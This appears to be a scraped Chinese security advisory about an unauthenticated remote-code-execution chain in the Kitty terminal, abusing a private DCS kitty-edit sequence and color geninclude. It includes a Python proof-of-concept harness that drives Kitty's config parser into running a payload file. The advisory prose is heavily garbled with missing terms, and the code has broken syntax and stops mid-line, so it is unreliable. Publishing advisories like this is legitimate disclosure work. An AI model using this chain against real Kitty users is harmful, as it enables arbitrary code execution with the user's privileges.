Kitty 终端未认证远程代码执行漏洞 (RCE)

Unauthenticated in-process RCE via @kitty-edit DCS + --color=geninclude 漏洞概述 一个程序能够将字节写入到 Kitty 终端——远程 SSH 对等体、下载的文件、 日志、电子邮件正文渲染在 中，一个 TUI 中的问题——这可能导致 Kitty 在运行中的 Kitty 进程中执行攻击者提供的 Python，使用用户的全部权限。 没有批准权限，没有远程控制权限要求，没有 shell 集成交互，没有剪贴板触摸，没有用户交互。 该链始于私有的 DCS 序列 ... ST（ 辅助协议），并在 （ 、 ）内部 Kitty 自己的 Python 解释器中结束。 现有的内联缓解措施剥离了 和 （现有的内联 RCE 捷径），但不包含此 bug 类。 相同的 过滤器也剥离了 ：颜色配置包含 被重新解析为内联 Kitty 配置；并且 Kitty 配置语言尊重 ，它调用 用于 路径。 影响范围 软件: kitty 受影响版本: -> 。真实 （ 分支名称，调用 -> ），有效载荷写入包含 PID 的标记文件。存根断言 PID 等于自身。 从 Kitty 源检出的根运行（工作目录必须包含 包目录）： ```python #!/usr/bin/env python3 -*- Offline confirmation of the kitty-edit color=geninclude RCE chain. """Runs without a live kitty install. Imports the unmodified kitty.conf.utils from the working tree and drives the real parse_config_base / parse_line / geninclude / runpy.run_path code path. Exits 0 if the chain fires. """ from __future__ import annotations import os import re import sys import types from pathlib import Path REPO = Path.cwd() PAYLOAD = REPO / "verify_payload.py" MARKER = Path("/tmp/kitty-color-rce-verify-marker") def write_payload() -> None: PAYLOAD.write_text( f"""import os f.open(f"{MARKER}", "w").write(f"pid={os.getpid()}\\n") """, encoding="UTF-8", ) def install_minimal_stubs() -> None: sys.path.insert(0, str(REPO)) fdt = types.ModuleType("kitty.fast_data_types") fdt.Color = type("Color", (), {"__init__": lambda self, a, "k": None}) fdt.WINDOW_FULLSIZE = fdt.WINDOW_HIDERS = fdt.WINDOW_MAXIMIZED = 0 fdt.WINDOW_MINIMIZED = fdt.WINDOW_NORMAL = 0 fdt.Shlex = type("Shlex", (), {}) fdt.SingleKey = type("SingleKey", (), {}) fdt.get_opts = lambda: None fdt.get_option = lambda: types.SimpleNamespace(clipboard_max_size=512) fdt.monotonic = lambda: 0.0 fdt.open_file = lambda "a", "k": None fdt.time_debug_print = lambda "a", "k": None sys.modules["kitty.fast_data_types"] = fdt utils = types.ModuleType("kitty.utils") utils.expandvars = lambda s, env=None: os.path.expandvars(s) if env is None else s utils.log_error = lambda s: None import shlex utils.shlex_split = shlex.split sys.modules["kitty.utils"] = utils def main() -> int: if not (REPO / "kitty" / "conf" / "utils.py").is_file(): print(f"Error: run this script from the root of a kitty source checkout.", file=sys.stderr) return 2 if MARKER.exists(): MARKER.unlink() write_payload() install_minimal_stubs() parse_colors does parse config(spec.replace("=", ".")) for any spec containing "=". Replicate the transform and feed the result through the real parse_config_base -> parse_line -> geninclude -> runpy.run_path. color_spec = f"geninclude={PAYLOAD.resolve()}" inline_line = color_spec.replace("=", ".", 1) import kitty.conf.utils as confu type: ignore confu.parse_config_base(inline_line, lambda "a", "k": True, {}, accumulate_new_lines=[]) if not MARKER.exists(): print(f"FAILED: marker not written; geninclude chain did not fire.", file=sys.stderr) return 1 body = MARKER.read_text() pid = int(re.search(r"pid=(\d+)", body).group(1)) if pid == os.getpid(): print(f"SUCCESS: marker pid ({pid}) == harness pid ({os.getpid()})") return 0 print(f"FAILED: marker pid ({pid}) != harness pid ({os.getpid()})") return 1 if __name

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

Kitty 终端未认证远程代码执行漏洞 (RCE)

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

Kitty 终端未认证远程代码执行漏洞 (RCE)

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！